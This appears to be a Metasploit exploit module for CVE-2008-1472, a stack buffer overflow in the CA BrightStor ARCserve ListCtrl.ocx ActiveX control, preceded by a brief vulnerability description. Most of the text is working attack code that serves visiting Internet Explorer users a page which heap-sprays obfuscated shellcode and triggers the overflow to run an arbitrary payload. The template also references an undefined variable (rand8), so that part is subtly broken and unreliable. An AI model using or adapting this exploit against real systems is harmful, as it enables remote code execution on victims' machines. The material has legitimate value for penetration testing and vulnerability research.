The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker could overflow a buffer and execute arbitrary code on the system.
deda324d5d17fb5a0a5f8b8fcc9d39b55328a2faeca975767d3d6875b67d01d1###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',
'Description' => %q{
The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based
buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker
could overflow a buffer and execute arbitrary code on the system.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
'Version' => '$Revision',
'References' =>
[
[ 'CVE', '2008-1472' ],
[ 'OSVDB', '43214' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'March 16 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.to_unescape([target.ret].pack('V'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(30) + 1)
var_i = rand_text_alpha(rand(5) + 1)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
<script>
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = 0x0A0A0A0A;
var #{rand3} = 0x400000;
var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
var #{rand5} = unescape("#{ret}");
var #{rand6} = 128;
while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
#{rand8} = new Array();
for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
#{rand5} = #{rand5}.substring(0, #{rand6});
#{vname}.AddColumn(#{rand5}, 1);
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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